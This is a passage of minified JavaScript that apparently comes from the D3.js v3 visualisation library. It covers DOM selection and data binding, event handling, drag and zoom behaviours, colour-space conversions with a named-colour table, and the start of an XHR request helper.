kt=Ae.apply(this,arguments);kt==null?this.removeAttribute(se):this.setAttribute(se,kt)}function it(){var kt=Ae.apply(this,arguments);kt==null?this.removeAttributeNS(se.space,se.local):this.setAttributeNS(se.space,se.local,kt)}return Ae==null?se.local?Ye:ze:typeof Ae=="function"?se.local?it:Mt:se.local?qe:je}function xe(se){return se.trim().replace(/\s+/g," ")}K.classed=function(se,Ae){if(arguments.length<2){if(typeof se=="string"){var ze=this.node(),Ye=(se=_e(se)).length,je=-1;if(Ae=ze.classList){for(;++je<Ye;)if(!Ae.contains(se[je]))return!1}else for(Ae=ze.getAttribute("class");++je<Ye;)if(!ke(se[je]).test(Ae))return!1;return!0}for(Ae in se)this.each(be(Ae,se[Ae]));return this}return this.each(be(se,Ae))};function ke(se){return new RegExp("(?:^|\\s+)"+o.requote(se)+"(?:\\s+|$)","g")}function _e(se){return(se+"").trim().split(/^|\s+/)}function be(se,Ae){se=_e(se).map(ge);var ze=se.length;function Ye(){for(var qe=-1;++qe<ze;)se[qe](this,Ae)}function je(){for(var qe=-1,Mt=Ae.apply(this,arguments);++qe<ze;)se[qe](this,Mt)}return typeof Ae=="function"?je:Ye}function ge(se){var Ae=ke(se);return function(ze,Ye){if(je=ze.classList)return Ye?je.add(se):je.remove(se);var je=ze.getAttribute("class")||"";Ye?(Ae.lastIndex=0,Ae.test(je)||ze.setAttribute("class",xe(je+" "+se))):ze.setAttribute("class",xe(je.replace(Ae," ")))}}K.style=function(se,Ae,ze){var Ye=arguments.length;if(Ye<3){if(typeof se!="string"){Ye<2&&(Ae="");for(ze in se)this.each(Te(ze,se[ze],Ae));return this}if(Ye<2){var je=this.node();return t(je).getComputedStyle(je,null).getPropertyValue(se)}ze=""}return this.each(Te(se,Ae,ze))};function Te(se,Ae,ze){function Ye(){this.style.removeProperty(se)}function je(){this.style.setProperty(se,Ae,ze)}function qe(){var Mt=Ae.apply(this,arguments);Mt==null?this.style.removeProperty(se):this.style.setProperty(se,Mt,ze)}return Ae==null?Ye:typeof Ae=="function"?qe:je}K.property=function(se,Ae){if(arguments.length<2){if(typeof se=="string")return this.node()[se];for(Ae in se)this.each(Fe(Ae,se[Ae]));return this}return this.each(Fe(se,Ae))};function Fe(se,Ae){function ze(){delete this[se]}function Ye(){this[se]=Ae}function je(){var qe=Ae.apply(this,arguments);qe==null?delete this[se]:this[se]=qe}return Ae==null?ze:typeof Ae=="function"?je:Ye}K.text=function(se){return arguments.length?this.each(typeof se=="function"?function(){var Ae=se.apply(this,arguments);this.textContent=Ae??""}:se==null?function(){this.textContent=""}:function(){this.textContent=se}):this.node().textContent},K.html=function(se){return arguments.length?this.each(typeof se=="function"?function(){var Ae=se.apply(this,arguments);this.innerHTML=Ae??""}:se==null?function(){this.innerHTML=""}:function(){this.innerHTML=se}):this.node().innerHTML},K.append=function(se){return se=Oe(se),this.select(function(){return this.appendChild(se.apply(this,arguments))})};function Oe(se){function Ae(){var Ye=this.ownerDocument,je=this.namespaceURI;return je===le&&Ye.documentElement.namespaceURI===le?Ye.createElement(se):Ye.createElementNS(je,se)}function ze(){return this.ownerDocument.createElementNS(se.space,se.local)}return typeof se=="function"?se:(se=o.ns.qualify(se)).local?ze:Ae}K.insert=function(se,Ae){return se=Oe(se),Ae=oe(Ae),this.select(function(){return this.insertBefore(se.apply(this,arguments),Ae.apply(this,arguments)||null)})},K.remove=function(){return this.each(Ce)};function Ce(){var se=this.parentNode;se&&se.removeChild(this)}K.data=function(se,Ae){var ze=-1,Ye=this.length,je,qe;if(!arguments.length){for(se=new Array(Ye=(je=this[0]).length);++ze<Ye;)(qe=je[ze])&&(se[ze]=qe.__data__);return se}function Mt(Kt,wr){var xr,Gr=Kt.length,jr=wr.length,Mr=Math.min(Gr,jr),_r=new Array(jr),Hr=new Array(jr),Kr=new Array(Gr),rn,Vr;if(Ae){var Dn=new E,Fn=new Array(Gr),Vn;for(xr=-1;++xr<Gr;)(rn=Kt[xr])&&(Dn.has(Vn=Ae.call(rn,rn.__data__,xr))?Kr[xr]=rn:Dn.set(Vn,rn),Fn[xr]=Vn);for(xr=-1;++xr<jr;)(rn=Dn.get(Vn=Ae.call(wr,Vr=wr[xr],xr)))?rn!==!0&&(_r[xr]=rn,rn.__data__=Vr):Hr[xr]=Be(Vr),Dn.set(Vn,!0);for(xr=-1;++xr<Gr;)xr in Fn&&Dn.get(Fn[xr])!==!0&&(Kr[xr]=Kt[xr])}else{for(xr=-1;++xr<Mr;)rn=Kt[xr],Vr=wr[xr],rn?(rn.__data__=Vr,_r[xr]=rn):Hr[xr]=Be(Vr);for(;xr<jr;++xr)Hr[xr]=Be(wr[xr]);for(;xr<Gr;++xr)Kr[xr]=Kt[xr]}Hr.update=_r,Hr.parentNode=_r.parentNode=Kr.parentNode=Kt.parentNode,it.push(Hr),kt.push(_r),jt.push(Kr)}var it=Ke([]),kt=Y([]),jt=Y([]);if(typeof se=="function")for(;++ze<Ye;)Mt(je=this[ze],se.call(je,je.parentNode.__data__,ze));else for(;++ze<Ye;)Mt(je=this[ze],se);return kt.enter=function(){return it},kt.exit=function(){return jt},kt};function Be(se){return{__data__:se}}K.datum=function(se){return arguments.length?this.property("__data__",se):this.property("__data__")},K.filter=function(se){var Ae=[],ze,Ye,je;typeof se!="function"&&(se=$e(se));for(var qe=0,Mt=this.length;qe<Mt;qe++){Ae.push(ze=[]),ze.parentNode=(Ye=this[qe]).parentNode;for(var it=0,kt=Ye.length;it<kt;it++)(je=Ye[it])&&se.call(je,je.__data__,it,qe)&&ze.push(je)}return Y(Ae)};function $e(se){return function(){return j(this,se)}}K.order=function(){for(var se=-1,Ae=this.length;++se<Ae;)for(var ze=this[se],Ye=ze.length-1,je=ze[Ye],qe;--Ye>=0;)(qe=ze[Ye])&&(je&&je!==qe.nextSibling&&je.parentNode.insertBefore(qe,je),je=qe);return this},K.sort=function(se){se=Xe.apply(this,arguments);for(var Ae=-1,ze=this.length;++Ae<ze;)this[Ae].sort(se);return this.order()};function Xe(se){return arguments.length||(se=s),function(Ae,ze){return Ae&&ze?se(Ae.__data__,ze.__data__):!Ae-!ze}}K.each=function(se){return Ze(this,function(Ae,ze,Ye){se.call(Ae,Ae.__data__,ze,Ye)})};function Ze(se,Ae){for(var ze=0,Ye=se.length;ze<Ye;ze++)for(var je=se[ze],qe=0,Mt=je.length,it;qe<Mt;qe++)(it=je[qe])&&Ae(it,qe,ze);return se}K.call=function(se){var Ae=S(arguments);return se.apply(Ae[0]=this,Ae),this},K.empty=function(){return!this.node()},K.node=function(){for(var se=0,Ae=this.length;se<Ae;se++)for(var ze=this[se],Ye=0,je=ze.length;Ye<je;Ye++){var qe=ze[Ye];if(qe)return qe}return null},K.size=function(){var se=0;return Ze(this,function(){++se}),se};function Ke(se){return V(se,st),se}var st=[];o.selection.enter=Ke,o.selection.enter.prototype=st,st.append=K.append,st.empty=K.empty,st.node=K.node,st.call=K.call,st.size=K.size,st.select=function(se){for(var Ae=[],ze,Ye,je,qe,Mt,it=-1,kt=this.length;++it<kt;){je=(qe=this[it]).update,Ae.push(ze=[]),ze.parentNode=qe.parentNode;for(var jt=-1,Kt=qe.length;++jt<Kt;)(Mt=qe[jt])?(ze.push(je[jt]=Ye=se.call(qe.parentNode,Mt.__data__,jt,it)),Ye.__data__=Mt.__data__):ze.push(null)}return Y(Ae)},st.insert=function(se,Ae){return arguments.length<2&&(Ae=lt(this)),K.insert.call(this,se,Ae)};function lt(se){var Ae,ze;return function(Ye,je,qe){var Mt=se[qe].update,it=Mt.length,kt;for(qe!=ze&&(ze=qe,Ae=0),je>=Ae&&(Ae=je+1);!(kt=Mt[Ae])&&++Ae<it;);return kt}}o.select=function(se){var Ae;return typeof se=="string"?(Ae=[Q(se,d)],Ae.parentNode=d.documentElement):(Ae=[se],Ae.parentNode=g(se)),Y([Ae])},o.selectAll=function(se){var Ae;return typeof se=="string"?(Ae=S(ie(se,d)),Ae.parentNode=d.documentElement):(Ae=S(se),Ae.parentNode=null),Y([Ae])},K.on=function(se,Ae,ze){var Ye=arguments.length;if(Ye<3){if(typeof se!="string"){Ye<2&&(Ae=!1);for(ze in se)this.each(ut(ze,se[ze],Ae));return this}if(Ye<2)return(Ye=this.node()["__on"+se])&&Ye._;ze=!1}return this.each(ut(se,Ae,ze))};function ut(se,Ae,ze){var Ye="__on"+se,je=se.indexOf("."),qe=bt;je>0&&(se=se.slice(0,je));var Mt=yt.get(se);Mt&&(se=Mt,qe=Ot);function it(){var Kt=this[Ye];Kt&&(this.removeEventListener(se,Kt,Kt.$),delete this[Ye])}function kt(){var Kt=qe(Ae,S(arguments));it.call(this),this.addEventListener(se,this[Ye]=Kt,Kt.$=ze),Kt._=Ae}function jt(){var Kt=new RegExp("^__on([^.]+)"+o.requote(se)+"$"),wr;for(var xr in this)if(wr=xr.match(Kt)){var Gr=this[xr];this.removeEventListener(wr[1],Gr,Gr.$),delete this[xr]}}return je?Ae?kt:it:Ae?G:jt}var yt=o.map({mouseenter:"mouseover",mouseleave:"mouseout"});d&&yt.forEach(function(se){"on"+se in d&&yt.remove(se)});function bt(se,Ae){return function(ze){var Ye=o.event;o.event=ze,Ae[0]=this.__data__;try{se.apply(this,Ae)}finally{o.event=Ye}}}function Ot(se,Ae){var ze=bt(se,Ae);return function(Ye){var je=this,qe=Ye.relatedTarget;(!qe||qe!==je&&!(qe.compareDocumentPosition(je)&8))&&ze.call(je,Ye)}}var Ge,Le=0;function Pe(se){var Ae=".dragsuppress-"+ ++Le,ze="click"+Ae,Ye=o.select(t(se)).on("touchmove"+Ae,ne).on("dragstart"+Ae,ne).on("selectstart"+Ae,ne);if(Ge==null&&(Ge="onselectstart"in se?!1:z(se.style,"userSelect")),Ge){var je=g(se).style,qe=je[Ge];je[Ge]="none"}return function(Mt){if(Ye.on(Ae,null),Ge&&(je[Ge]=qe),Mt){var it=function(){Ye.on(ze,null)};Ye.on(ze,function(){ne(),it()},!0),setTimeout(it,0)}}}o.mouse=function(se){return Ee(se,fe())};var De=this.navigator&&/WebKit/.test(this.navigator.userAgent)?-1:0;function Ee(se,Ae){Ae.changedTouches&&(Ae=Ae.changedTouches[0]);var ze=se.ownerSVGElement||se;if(ze.createSVGPoint){var Ye=ze.createSVGPoint();if(De<0){var je=t(se);if(je.scrollX||je.scrollY){ze=o.select("body").append("svg").style({position:"absolute",top:0,left:0,margin:0,padding:0,border:"none"},"important");var qe=ze[0][0].getScreenCTM();De=!(qe.f||qe.e),ze.remove()}}return De?(Ye.x=Ae.pageX,Ye.y=Ae.pageY):(Ye.x=Ae.clientX,Ye.y=Ae.clientY),Ye=Ye.matrixTransform(se.getScreenCTM().inverse()),[Ye.x,Ye.y]}var Mt=se.getBoundingClientRect();return[Ae.clientX-Mt.left-se.clientLeft,Ae.clientY-Mt.top-se.clientTop]}o.touch=function(se,Ae,ze){if(arguments.length<3&&(ze=Ae,Ae=fe().changedTouches),Ae){for(var Ye=0,je=Ae.length,qe;Ye<je;++Ye)if((qe=Ae[Ye]).identifier===ze)return Ee(se,qe)}},o.behavior.drag=function(){var se=X(je,"drag","dragstart","dragend"),Ae=null,ze=qe(G,o.mouse,t,"mousemove","mouseup"),Ye=qe(ye,o.touch,F,"touchmove","touchend");function je(){this.on("mousedown.drag",ze).on("touchstart.drag",Ye)}function qe(Mt,it,kt,jt,Kt){return function(){var wr=this,xr=o.event.target.correspondingElement||o.event.target,Gr=wr.parentNode,jr=se.of(wr,arguments),Mr=0,_r=Mt(),Hr=".drag"+(_r==null?"":"-"+_r),Kr,rn=o.select(kt(xr)).on(jt+Hr,Fn).on(Kt+Hr,Vn),Vr=Pe(xr),Dn=it(Gr,_r);Ae?(Kr=Ae.apply(wr,arguments),Kr=[Kr.x-Dn[0],Kr.y-Dn[1]]):Kr=[0,0],jr({type:"dragstart"});function Fn(){var Kn=it(Gr,_r),ca,fa;Kn&&(ca=Kn[0]-Dn[0],fa=Kn[1]-Dn[1],Mr|=ca|fa,Dn=Kn,jr({type:"drag",x:Kn[0]+Kr[0],y:Kn[1]+Kr[1],dx:ca,dy:fa}))}function Vn(){it(Gr,_r)&&(rn.on(jt+Hr,null).on(Kt+Hr,null),Vr(Mr),jr({type:"dragend"}))}}}return je.origin=function(Mt){return arguments.length?(Ae=Mt,je):Ae},o.rebind(je,se,"on")};function ye(){return o.event.changedTouches[0].identifier}o.touches=function(se,Ae){return arguments.length<2&&(Ae=fe().touches),Ae?S(Ae).map(function(ze){var Ye=Ee(se,ze);return Ye.identifier=ze.identifier,Ye}):[]};var ae=1e-6,de=ae*ae,Me=Math.PI,Ie=2*Me,Qe=Ie-ae,et=Me/2,pt=Me/180,St=180/Me;function _t(se,Ae,ze){return(Ae[0]-se[0])*(ze[1]-se[1])-(Ae[1]-se[1])*(ze[0]-se[0])}function Ft(se){return se>1?et:se<-1?-et:Math.asin(se)}function Tt(se){return((se=Math.exp(se))-1/se)/2}function Gt(se){return((se=Math.exp(se))+1/se)/2}function er(se){return((se=Math.exp(2*se))-1)/(se+1)}var Pr=Math.SQRT2,ct=2,Vt=4;o.interpolateZoom=function(se,Ae){var ze=se[0],Ye=se[1],je=se[2],qe=Ae[0],Mt=Ae[1],it=Ae[2],kt=qe-ze,jt=Mt-Ye,Kt=kt*kt+jt*jt,wr,xr;if(Kt<de)xr=Math.log(it/je)/Pr,wr=function(Kr){return[ze+Kr*kt,Ye+Kr*jt,je*Math.exp(Pr*Kr*xr)]};else{var Gr=Math.sqrt(Kt),jr=(it*it-je*je+Vt*Kt)/(2*je*ct*Gr),Mr=(it*it-je*je-Vt*Kt)/(2*it*ct*Gr),_r=Math.log(Math.sqrt(jr*jr+1)-jr),Hr=Math.log(Math.sqrt(Mr*Mr+1)-Mr);xr=(Hr-_r)/Pr,wr=function(Kr){var rn=Kr*xr,Vr=Gt(_r),Dn=je/(ct*Gr)*(Vr*er(Pr*rn+_r)-Tt(_r));return[ze+Dn*kt,Ye+Dn*jt,je*Vr/Gt(Pr*rn+_r)]}}return wr.duration=xr*1e3,wr},o.behavior.zoom=function(){var se={x:0,y:0,k:1},Ae,ze,Ye,je=[960,500],qe=Ut,Mt=250,it=0,kt="mousedown.zoom",jt="mousemove.zoom",Kt="mouseup.zoom",wr,xr="touchstart.zoom",Gr,jr=X(rn,"zoomstart","zoom","zoomend"),Mr,_r,Hr,Kr;sr||(sr="onwheel"in d?(dr=function(){return-o.event.deltaY*(o.event.deltaMode?120:1)},"wheel"):"onmousewheel"in d?(dr=function(){return o.event.wheelDelta},"mousewheel"):(dr=function(){return-o.event.detail},"MozMousePixelScroll"));function rn(In){In.on(kt,Ca).on(sr+".zoom",Wa).on("dblclick.zoom",$a).on(xr,Ua)}rn.event=function(In){In.each(function(){var La=jr.of(this,arguments),Sa=se;Tr?o.select(this).transition().each("start.zoom",function(){se=this.__chart__||{x:0,y:0,k:1},fa(La)}).tween("zoom:zoom",function(){var za=je[0],ci=je[1],bi=ze?ze[0]:za/2,Si=ze?ze[1]:ci/2,si=o.interpolateZoom([(bi-se.x)/se.k,(Si-se.y)/se.k,za/se.k],[(bi-Sa.x)/Sa.k,(Si-Sa.y)/Sa.k,za/Sa.k]);return function(ei){var la=si(ei),pa=za/la[2];this.__chart__=se={x:bi-la[0]*pa,y:Si-la[1]*pa,k:pa},Ra(La)}}).each("interrupt.zoom",function(){ya(La)}).each("end.zoom",function(){ya(La)}):(this.__chart__=se,fa(La),Ra(La),ya(La))})},rn.translate=function(In){return arguments.length?(se={x:+In[0],y:+In[1],k:se.k},ca(),rn):[se.x,se.y]},rn.scale=function(In){return arguments.length?(se={x:se.x,y:se.y,k:null},Fn(+In),ca(),rn):se.k},rn.scaleExtent=function(In){return arguments.length?(qe=In==null?Ut:[+In[0],+In[1]],rn):qe},rn.center=function(In){return arguments.length?(Ye=In&&[+In[0],+In[1]],rn):Ye},rn.size=function(In){return arguments.length?(je=In&&[+In[0],+In[1]],rn):je},rn.duration=function(In){return arguments.length?(Mt=+In,rn):Mt},rn.x=function(In){return arguments.length?(_r=In,Mr=In.copy(),se={x:0,y:0,k:1},rn):_r},rn.y=function(In){return arguments.length?(Kr=In,Hr=In.copy(),se={x:0,y:0,k:1},rn):Kr};function Vr(In){return[(In[0]-se.x)/se.k,(In[1]-se.y)/se.k]}function Dn(In){return[In[0]*se.k+se.x,In[1]*se.k+se.y]}function Fn(In){se.k=Math.max(qe[0],Math.min(qe[1],In))}function Vn(In,La){La=Dn(La),se.x+=In[0]-La[0],se.y+=In[1]-La[1]}function Kn(In,La,Sa,za){In.__chart__={x:se.x,y:se.y,k:se.k},Fn(Math.pow(2,za)),Vn(ze=La,Sa),In=o.select(In),Mt>0&&(In=In.transition().duration(Mt)),In.call(rn.event)}function ca(){_r&&_r.domain(Mr.range().map(function(In){return(In-se.x)/se.k}).map(Mr.invert)),Kr&&Kr.domain(Hr.range().map(function(In){return(In-se.y)/se.k}).map(Hr.invert))}function fa(In){it++||In({type:"zoomstart"})}function Ra(In){ca(),In({type:"zoom",scale:se.k,translate:[se.x,se.y]})}function ya(In){--it||(In({type:"zoomend"}),ze=null)}function Ca(){var In=this,La=jr.of(In,arguments),Sa=0,za=o.select(t(In)).on(jt,Si).on(Kt,si),ci=Vr(o.mouse(In)),bi=Pe(In);Rt.call(In),fa(La);function Si(){Sa=1,Vn(o.mouse(In),ci),Ra(La)}function si(){za.on(jt,null).on(Kt,null),bi(Sa),ya(La)}}function Ua(){var In=this,La=jr.of(In,arguments),Sa={},za=0,ci,bi=".zoom-"+o.event.changedTouches[0].identifier,Si="touchmove"+bi,si="touchend"+bi,ei=[],la=o.select(In),pa=Pe(In);Ai(),fa(La),la.on(kt,null).on(xr,Ai);function li(){var Ki=o.touches(In);return ci=se.k,Ki.forEach(function(vi){vi.identifier in Sa&&(Sa[vi.identifier]=Vr(vi))}),Ki}function Ai(){var Ki=o.event.target;o.select(Ki).on(Si,uo).on(si,_i),ei.push(Ki);for(var vi=o.event.changedTouches,po=0,ai=vi.length;po<ai;++po)Sa[vi[po].identifier]=null;var Oo=li(),go=Date.now();if(Oo.length===1){if(go-Gr<500){var Oa=Oo[0];Kn(In,Oa,Sa[Oa.identifier],Math.floor(Math.log(se.k)/Math.LN2)+1),ne()}Gr=go}else if(Oo.length>1){var Oa=Oo[0],ui=Oo[1],Bu=Oa[0]-ui[0],vu=Oa[1]-ui[1];za=Bu*Bu+vu*vu}}function uo(){var Ki=o.touches(In),vi,po,ai,Oo;Rt.call(In);for(var go=0,Oa=Ki.length;go<Oa;++go,Oo=null)if(ai=Ki[go],Oo=Sa[ai.identifier]){if(po)break;vi=ai,po=Oo}if(Oo){var ui=(ui=ai[0]-vi[0])*ui+(ui=ai[1]-vi[1])*ui,Bu=za&&Math.sqrt(ui/za);vi=[(vi[0]+ai[0])/2,(vi[1]+ai[1])/2],po=[(po[0]+Oo[0])/2,(po[1]+Oo[1])/2],Fn(Bu*ci)}Gr=null,Vn(vi,po),Ra(La)}function _i(){if(o.event.touches.length){for(var Ki=o.event.changedTouches,vi=0,po=Ki.length;vi<po;++vi)delete Sa[Ki[vi].identifier];for(var ai in Sa)return void li()}o.selectAll(ei).on(bi,null),la.on(kt,Ca).on(xr,Ua),pa(),ya(La)}}function Wa(){var In=jr.of(this,arguments);wr?clearTimeout(wr):(Rt.call(this),Ae=Vr(ze=Ye||o.mouse(this)),fa(In)),wr=setTimeout(function(){wr=null,ya(In)},50),ne(),Fn(Math.pow(2,dr()*.002)*se.k),Vn(ze,Ae),Ra(In)}function $a(){var In=o.mouse(this),La=Math.log(se.k)/Math.LN2;Kn(this,In,Vr(In),o.event.shiftKey?Math.ceil(La)-1:Math.floor(La)+1)}return o.rebind(rn,jr,"on")};var Ut=[0,1/0],dr,sr;o.color=nt;function nt(){}nt.prototype.toString=function(){return this.rgb()+""},o.hsl=rt;function rt(se,Ae,ze){return this instanceof rt?(this.h=+se,this.s=+Ae,void(this.l=+ze)):arguments.length<2?se instanceof rt?new rt(se.h,se.s,se.l):fr(""+se,lr,rt):new rt(se,Ae,ze)}var vt=rt.prototype=new nt;vt.brighter=function(se){return se=Math.pow(.7,arguments.length?se:1),new rt(this.h,this.s,this.l/se)},vt.darker=function(se){return se=Math.pow(.7,arguments.length?se:1),new rt(this.h,this.s,se*this.l)},vt.rgb=function(){return gt(this.h,this.s,this.l)};function gt(se,Ae,ze){var Ye,je;se=isNaN(se)?0:(se%=360)<0?se+360:se,Ae=isNaN(Ae)||Ae<0?0:Ae>1?1:Ae,ze=ze<0?0:ze>1?1:ze,je=ze<=.5?ze*(1+Ae):ze+Ae-ze*Ae,Ye=2*ze-je;function qe(it){return it>360?it-=360:it<0&&(it+=360),it<60?Ye+(je-Ye)*it/60:it<180?je:it<240?Ye+(je-Ye)*(240-it)/60:Ye}function Mt(it){return Math.round(qe(it)*255)}return new tr(Mt(se+120),Mt(se),Mt(se-120))}o.hcl=wt;function wt(se,Ae,ze){return this instanceof wt?(this.h=+se,this.c=+Ae,void(this.l=+ze)):arguments.length<2?se instanceof wt?new wt(se.h,se.c,se.l):se instanceof zt?Et(se.l,se.a,se.b):Et((se=Nr((se=o.rgb(se)).r,se.g,se.b)).l,se.a,se.b):new wt(se,Ae,ze)}var mt=wt.prototype=new nt;mt.brighter=function(se){return new wt(this.h,this.c,Math.min(100,this.l+Xt*(arguments.length?se:1)))},mt.darker=function(se){return new wt(this.h,this.c,Math.max(0,this.l-Xt*(arguments.length?se:1)))},mt.rgb=function(){return Pt(this.h,this.c,this.l).rgb()};function Pt(se,Ae,ze){return isNaN(se)&&(se=0),isNaN(Ae)&&(Ae=0),new zt(ze,Math.cos(se*=pt)*Ae,Math.sin(se)*Ae)}o.lab=zt;function zt(se,Ae,ze){return this instanceof zt?(this.l=+se,this.a=+Ae,void(this.b=+ze)):arguments.length<2?se instanceof zt?new zt(se.l,se.a,se.b):se instanceof wt?Pt(se.h,se.c,se.l):Nr((se=tr(se)).r,se.g,se.b):new zt(se,Ae,ze)}var Xt=18,Yt=.95047,$t=1,yr=1.08883,Ue=zt.prototype=new nt;Ue.brighter=function(se){return new zt(Math.min(100,this.l+Xt*(arguments.length?se:1)),this.a,this.b)},Ue.darker=function(se){return new zt(Math.max(0,this.l-Xt*(arguments.length?se:1)),this.a,this.b)},Ue.rgb=function(){return Ne(this.l,this.a,this.b)};function Ne(se,Ae,ze){var Ye=(se+16)/116,je=Ye+Ae/500,qe=Ye-ze/200;return je=Lt(je)*Yt,Ye=Lt(Ye)*$t,qe=Lt(qe)*yr,new tr(rr(3.2404542*je-1.5371385*Ye-.4985314*qe),rr(-.969266*je+1.8760108*Ye+.041556*qe),rr(.0556434*je-.2040259*Ye+1.0572252*qe))}function Et(se,Ae,ze){return se>0?new wt(Math.atan2(ze,Ae)*St,Math.sqrt(Ae*Ae+ze*ze),se):new wt(NaN,NaN,se)}function Lt(se){return se>.206893034?se*se*se:(se-.13793103448275862)/7.787037}function Nt(se){return se>.008856?Math.pow(se,.3333333333333333):7.787037*se+.13793103448275862}function rr(se){return Math.round(255*(se<=.00304?12.92*se:1.055*Math.pow(se,.4166666666666667)-.055))}o.rgb=tr;function tr(se,Ae,ze){return this instanceof tr?(this.r=~~se,this.g=~~Ae,void(this.b=~~ze)):arguments.length<2?se instanceof tr?new tr(se.r,se.g,se.b):fr(""+se,tr,gt):new tr(se,Ae,ze)}function Jt(se){return new tr(se>>16,se>>8&255,se&255)}function It(se){return Jt(se)+""}var or=tr.prototype=new nt;or.brighter=function(se){se=Math.pow(.7,arguments.length?se:1);var Ae=this.r,ze=this.g,Ye=this.b,je=30;return!Ae&&!ze&&!Ye?new tr(je,je,je):(Ae&&Ae<je&&(Ae=je),ze&&ze<je&&(ze=je),Ye&&Ye<je&&(Ye=je),new tr(Math.min(255,Ae/se),Math.min(255,ze/se),Math.min(255,Ye/se)))},or.darker=function(se){return se=Math.pow(.7,arguments.length?se:1),new tr(se*this.r,se*this.g,se*this.b)},or.hsl=function(){return lr(this.r,this.g,this.b)},or.toString=function(){return"#"+ur(this.r)+ur(this.g)+ur(this.b)};function ur(se){return se<16?"0"+Math.max(0,se).toString(16):Math.min(255,se).toString(16)}function fr(se,Ae,ze){var Ye=0,je=0,qe=0,Mt,it,kt;if(Mt=/([a-z]+)\((.*)\)/.exec(se=se.toLowerCase()),Mt)switch(it=Mt[2].split(","),Mt[1]){case"hsl":return ze(parseFloat(it[0]),parseFloat(it[1])/100,parseFloat(it[2])/100);case"rgb":return Ae(Cr(it[0]),Cr(it[1]),Cr(it[2]))}return(kt=vn.get(se))?Ae(kt.r,kt.g,kt.b):(se!=null&&se.charAt(0)==="#"&&!isNaN(kt=parseInt(se.slice(1),16))&&(se.length===4?(Ye=(kt&3840)>>4,Ye=Ye>>4|Ye,je=kt&240,je=je>>4|je,qe=kt&15,qe=qe<<4|qe):se.length===7&&(Ye=(kt&16711680)>>16,je=(kt&65280)>>8,qe=kt&255)),Ae(Ye,je,qe))}function lr(se,Ae,ze){var Ye=Math.min(se/=255,Ae/=255,ze/=255),je=Math.max(se,Ae,ze),qe=je-Ye,Mt,it,kt=(je+Ye)/2;return qe?(it=kt<.5?qe/(je+Ye):qe/(2-je-Ye),se==je?Mt=(Ae-ze)/qe+(Ae<ze?6:0):Ae==je?Mt=(ze-se)/qe+2:Mt=(se-Ae)/qe+4,Mt*=60):(Mt=NaN,it=kt>0&&kt<1?0:Mt),new rt(Mt,it,kt)}function Nr(se,Ae,ze){se=Rr(se),Ae=Rr(Ae),ze=Rr(ze);var Ye=Nt((.4124564*se+.3575761*Ae+.1804375*ze)/Yt),je=Nt((.2126729*se+.7151522*Ae+.072175*ze)/$t),qe=Nt((.0193339*se+.119192*Ae+.9503041*ze)/yr);return zt(116*je-16,500*(Ye-je),200*(je-qe))}function Rr(se){return(se/=255)<=.04045?se/12.92:Math.pow((se+.055)/1.055,2.4)}function Cr(se){var Ae=parseFloat(se);return se.charAt(se.length-1)==="%"?Math.round(Ae*2.55):Ae}var vn=o.map({aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074});vn.forEach(function(se,Ae){vn.set(se,Jt(Ae))});function Ur(se){return typeof se=="function"?se:function(){return se}}o.functor=Ur,o.xhr=Mn(F);function Mn(se){return function(Ae,ze,Ye){return arguments.length===2&&typeof ze=="function"&&(Ye=ze,ze=null),Sn(Ae,ze,se,Ye)}}function Sn(se,Ae,ze,Ye){var je={},qe=o.dispatch("beforesend","progress","load","error"),Mt={},it=new XMLHttpRequest,kt=null;self.XDomainRequest&&!("withCredentials"in it)&&/^(http(s)?:)?\/\//.test(se)&&(it=new XDomainRequest),"onload"in it?it.onload=it.onerror=jt:it.onreadystatechange=function(){it.readyState>3&&jt()};function jt(){var Kt=it.status,wr;if(!Kt&&Sr(it)||Kt>=200&&Kt<300||Kt===304){try{wr=ze.call(je,it)}catch(xr){qe.error.call(je,xr);return}qe.load.call(je,wr)}else qe.error.call(je,it)}return it.onprogress=function(Kt){var wr=o.event;o.event=Kt;try{qe.progress.call(je,it)}finally{o.event=wr}},je.header=function(Kt,wr){return 